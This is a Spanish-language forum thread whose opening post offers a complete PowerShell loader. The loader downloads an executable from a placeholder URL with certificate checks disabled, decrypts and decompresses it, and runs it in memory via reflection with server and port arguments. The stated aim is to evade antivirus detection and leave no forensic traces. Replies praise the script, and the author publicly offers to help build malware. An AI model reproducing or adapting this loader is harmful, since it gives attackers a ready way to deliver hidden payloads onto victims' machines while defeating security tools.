HOLA!!!
Se me ocurrio el otro dia ponerme a armar un script que permita hacer una ejecucion en memoria sin dejar rastros para forenses despues de la ejecucion de nuestro script, luego pasaron cosas y decidi agregarle que el ejecutable descargado se descifre para que el AV no pueda detectar la descarga y para ultima seguridad el ejecutable aparte de estar cifrado estaria zipeado. Asique como imaginaran esto es un incordio para que cualquier AV lo detecte on the fly, y como se ejecuta en memoria solo tenemos que cuidar la heuristica en ejecucion de lo que descarguemos y va a funcionar sin problemas.
Sin mas, al codigo:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$wc = New-Object -TypeName System.Net.WebClient
$wc.Headers.Add("Accept-Language", "en-US,en;q=0." + ([IntPtr]::Size – 1).ToString())
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)")
$rndn = Get-Random
$wc.Headers.Add("Cookie", "p=" + $rndn)
$data = $wc.DownloadData("[URL AL PROGRAMA]")
#PARAMETROS PARA EJECUTAR (OPCIONAL)
[string[]]$xags = "/s", "[SERVER]", "/p", "[PORT]"
#INICIO DE PROCESO DE DESCIFRADO (OPCIONAL)
$Passphrase = "[CLAVE CIFRADO]"
$salts = "[SALT]"
$r = new-Object System.Security.Cryptography.RijndaelManaged
$pass = [System.Text.Encoding]::UTF8.GetBytes($Passphrase)
$salt = [System.Text.Encoding]::UTF8.GetBytes($salts)
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1″, 5).GetBytes(32) #256/8
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($rndn) )[0..15]
$d = $r.CreateDecryptor()
$ms = new-Object IO.MemoryStream @(,$data)
$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
#FIN DE PROCESO DE DESCIFRADO (OPCIONAL)
#DESCOMPRESION (OPCIONAL)
$dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress)
$msout = New-Object System.IO.MemoryStream
[byte[]]$buffer = new-object byte[] 4096
[int]$count = 0
do
{
$count = $dfs.Read($buffer, 0, $buffer.Length)
$msout.Write($buffer, 0, $count)
} while ($count -gt 0)
$dfs.Close()
$cs.Close()
$ms.Close()
$r.Clear()
[byte[]]$bin = $msout.ToArray()
$al = New-Object -TypeName System.Collections.ArrayList
#AGREGAR PARAMETROS AL EJECUTABLE (OPCIONAL)
$al.Add($xags)
$asm = [System.Reflection.Assembly]::Load($bin)
$asm.EntryPoint.Invoke($null, $al.ToArray())
sleep 5
Exit
GRACIAS POR LEER!!!
Calificarse puede con adjetivo superlativo: buenísimo.
Su divulgación y uso pudiera ser peligroso; pero... peligrosos somos y entre gatos andamos; o no?
Muy bueno (lo mejorcito que he visto). Es Ud. realmente ingenioso y creativo.
Pena grande que no tenga inclinación por ensamblar malware.
Pero... quién sabe
(https://i.postimg.cc/MHmgVwbL/Hacker-Cat.png) (https://postimages.org/) ;)
@AXCESS
Está buenísimo, con eso derrocamos a la caniche y servidores...
@79137913
No hay que decir mucho: como siempre brutal leer estas joyas.
+1
~ DtxdF
Nooo!! Impresionante, me lo llevo... +1 Gracias por compartirlo @79137913, terrible script!
HOLA!!!
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Pena grande que no tenga inclinación por ensamblar malware.
Pero... quién sabe
Quien dijo que no tengo inclinacion a ensamblar malware? Lo he hecho toda mi vida, si queres armar algo avisame al privado!
GRACIAS POR LEER!!!
JAJAJA!!
Me refería a mí, que no soy dado a ensamblar malware. Mire el meme del gato.
Muchas gracias por el ofrecimiento, lo tendré presente.